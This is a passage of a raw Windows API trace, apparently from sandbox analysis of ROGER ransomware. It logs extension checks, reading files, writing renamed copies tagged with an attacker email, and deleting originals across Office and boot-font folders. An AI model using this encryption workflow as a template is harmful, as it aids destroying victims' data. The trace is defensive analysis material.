(lpString1=".bz2", lpString2=".WMF") returned -1 [0061.938] lstrlenW (lpString=".7z") returned 3 [0061.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0061.938] lstrlenW (lpString=".dbf") returned 4 [0061.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0061.938] lstrlenW (lpString=".1cd") returned 4 [0061.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0061.938] lstrlenW (lpString=".jpg") returned 4 [0061.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0061.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0061.938] lstrlenW (lpString=".doc") returned 4 [0061.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.938] lstrlenW (lpString=".docx") returned 5 [0061.938] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.938] lstrlenW (lpString=".pdf") returned 4 [0061.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.938] lstrlenW (lpString=".xls") returned 4 [0061.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.938] lstrlenW (lpString=".xlsx") returned 5 [0061.939] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.939] lstrlenW (lpString=".ppt") returned 4 [0061.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0061.939] lstrlenW (lpString=".zip") returned 4 [0061.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.939] lstrlenW (lpString=".rar") returned 4 [0061.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.939] lstrlenW (lpString=".bz2") returned 4 [0061.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.939] lstrlenW (lpString=".7z") returned 3 [0061.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0061.939] lstrlenW (lpString=".dbf") returned 4 [0061.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0061.939] lstrlenW (lpString=".1cd") returned 4 [0061.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0061.939] lstrlenW (lpString=".jpg") returned 4 [0061.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.939] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.939] lstrlenW (lpString="BL00148_.WMF") returned 12 [0061.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0061.940] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1696) returned 1 [0061.940] CloseHandle (hObject=0x32c) returned 1 [0061.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x20 [0061.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0061.940] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.940] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0061.940] GetLastError () returned 0x0 [0061.940] ReadFile (in: hFile=0x32c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x6a0, lpOverlapped=0x0) returned 1 [0062.069] WriteFile (in: hFile=0x3dc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x6b0, lpOverlapped=0x0) returned 1 [0062.069] ReadFile (in: hFile=0x32c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.070] WriteFile (in: hFile=0x3dc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.070] SetEndOfFile (hFile=0x3dc) returned 1 [0062.070] CloseHandle (hObject=0x3dc) returned 1 [0062.070] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.070] SetEndOfFile (hFile=0x32c) returned 1 [0062.071] CloseHandle (hObject=0x32c) returned 1 [0062.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0062.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0062.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0062.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0062.550] lstrlenW (lpString=".doc") returned 4 [0062.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.550] lstrlenW (lpString=".docx") returned 5 [0062.551] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.551] lstrlenW (lpString=".pdf") returned 4 [0062.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.551] lstrlenW (lpString=".xls") returned 4 [0062.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.551] lstrlenW (lpString=".xlsx") returned 5 [0062.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.551] lstrlenW (lpString=".ppt") returned 4 [0062.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0062.551] lstrlenW (lpString=".zip") returned 4 [0062.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.551] lstrlenW (lpString=".rar") returned 4 [0062.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.551] lstrlenW (lpString=".bz2") returned 4 [0062.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.551] lstrlenW (lpString=".7z") returned 3 [0062.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0062.551] lstrlenW (lpString=".dbf") returned 4 [0062.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0062.551] lstrlenW (lpString=".1cd") returned 4 [0062.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0062.551] lstrlenW (lpString=".jpg") returned 4 [0062.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0062.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0062.551] lstrlenW (lpString=".doc") returned 4 [0062.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.551] lstrlenW (lpString=".docx") returned 5 [0062.551] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.551] lstrlenW (lpString=".pdf") returned 4 [0062.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.552] lstrlenW (lpString=".xls") returned 4 [0062.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.552] lstrlenW (lpString=".xlsx") returned 5 [0062.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.552] lstrlenW (lpString=".ppt") returned 4 [0062.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0062.552] lstrlenW (lpString=".zip") returned 4 [0062.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0062.552] lstrlenW (lpString=".rar") returned 4 [0062.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0062.552] lstrlenW (lpString=".bz2") returned 4 [0062.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0062.552] lstrlenW (lpString=".7z") returned 3 [0062.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0062.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0062.552] lstrlenW (lpString=".dbf") returned 4 [0062.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0062.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0062.552] lstrlenW (lpString=".1cd") returned 4 [0062.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0062.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0062.552] lstrlenW (lpString=".jpg") returned 4 [0062.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.552] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0062.552] lstrlenW (lpString="BL00265_.WMF") returned 12 [0062.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 16 os_tid = 0xa9c [0036.991] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3302fc0 [0036.991] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3312fc8 [0036.992] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x3295588 [0036.992] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x32a22f0 [0036.992] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x32955a0 [0036.992] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x4a70020 [0036.992] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x32955b8 [0036.992] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32955b8, Size=0x20) returned 0x8069c8 [0036.992] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x32955b8 [0036.992] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32955b8, Size=0x20) returned 0x806a18 [0036.992] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.993] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.993] Wow64DisableWow64FsRedirection (in: OldValue=0x3fbff58 | out: OldValue=0x3fbff58*=0x0) returned 1 [0036.993] lstrlenW (lpString="kernel32.dll") returned 12 [0036.993] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8069c8 | out: hHeap=0x790000) returned 1 [0036.993] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.993] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806a18 | out: hHeap=0x790000) returned 1 [0036.993] Sleep (dwMilliseconds=0x64) [0037.208] lstrcmpiW (lpString1=".ttf", lpString2=".ROGER") returned 1 [0037.208] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0037.208] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0038.241] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=1984228) returned 1 [0038.241] CloseHandle (hObject=0x330) returned 1 [0038.241] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0038.242] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0038.242] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0 [0038.242] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0038.242] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0038.242] lstrlenW (lpString=".doc") returned 4 [0038.242] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0038.242] lstrlenW (lpString=".docx") returned 5 [0038.242] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0038.242] lstrlenW (lpString=".pdf") returned 4 [0038.242] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0038.242] lstrlenW (lpString=".xls") returned 4 [0038.242] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0038.242] lstrlenW (lpString=".xlsx") returned 5 [0038.242] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0038.242] lstrlenW (lpString=".ppt") returned 4 [0038.242] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0038.242] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0038.242] lstrlenW (lpString=".zip") returned 4 [0038.242] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0038.242] lstrlenW (lpString=".rar") returned 4 [0038.242] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0038.242] lstrlenW (lpString=".bz2") returned 4 [0038.242] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0038.242] lstrlenW (lpString=".7z") returned 3 [0038.242] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0038.242] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0038.242] lstrlenW (lpString=".dbf") returned 4 [0038.243] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0038.243] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0038.243] lstrlenW (lpString=".1cd") returned 4 [0038.243] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0038.243] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0038.243] lstrlenW (lpString=".jpg") returned 4 [0038.243] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0038.243] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0038.243] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0038.243] lstrlenW (lpString=".doc") returned 4 [0038.243] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0038.243] lstrlenW (lpString=".docx") returned 5 [0038.243] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0038.243] lstrlenW (lpString=".pdf") returned 4 [0038.243] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0038.243] lstrlenW (lpString=".xls") returned 4 [0038.243] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0038.243] lstrlenW (lpString=".xlsx") returned 5 [0038.243] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0038.243] lstrlenW (lpString=".ppt") returned 4 [0038.243] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0038.243] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0038.243] lstrlenW (lpString=".zip") returned 4 [0038.243] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0038.243] lstrlenW (lpString=".rar") returned 4 [0038.243] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0038.243] lstrlenW (lpString=".bz2") returned 4 [0038.243] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0038.243] lstrlenW (lpString=".7z") returned 3 [0038.243] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0038.243] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0038.243] lstrlenW (lpString=".dbf") returned 4 [0038.244] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0038.244] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0038.244] lstrlenW (lpString=".1cd") returned 4 [0038.244] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0038.244] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0038.244] lstrlenW (lpString=".jpg") returned 4 [0038.244] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0038.244] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0038.244] lstrlenW (lpString="PptLR.cab") returned 9 [0038.244] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0038.468] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=70361744) returned 1 [0038.468] CloseHandle (hObject=0x368) returned 1 [0038.468] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0038.468] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0038.468] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0038.577] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0038.577] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0x0) returned 1 [0038.577] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0038.577] ReadFile (in: hFile=0x368, lpBuffer=0x4a70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4a70058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.585] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0038.586] ReadFile (in: hFile=0x368, lpBuffer=0x4ab0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4ab0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.591] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0038.591] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0038.591] ReadFile (in: hFile=0x368, lpBuffer=0x4af0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4af0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0038.609] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.610] WriteFile (in: hFile=0x368, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x3fbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0038.928] SetEndOfFile (hFile=0x368) returned 1 [0038.929] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4eb00c0 [0038.931] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0038.931] WriteFile (in: hFile=0x368, lpBuffer=0x4eb00c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4eb00c0*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.932] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0038.932] WriteFile (in: hFile=0x368, lpBuffer=0x4eb00c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4eb00c0*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.933] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0038.933] WriteFile (in: hFile=0x368, lpBuffer=0x4eb00c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4eb00c0*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0038.934] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4eb00c0 | out: hHeap=0x790000) returned 1 [0038.935] CloseHandle (hObject=0x368) returned 1 [0040.521] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0040.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0040.521] lstrlenW (lpString=".doc") returned 4 [0040.522] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0040.522] lstrlenW (lpString=".docx") returned 5 [0040.522] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0040.522] lstrlenW (lpString=".pdf") returned 4 [0040.522] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0040.522] lstrlenW (lpString=".xls") returned 4 [0040.522] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0040.522] lstrlenW (lpString=".xlsx") returned 5 [0040.522] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0040.522] lstrlenW (lpString=".ppt") returned 4 [0040.522] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0040.522] lstrlenW (lpString="C:\\MSOCache\\All 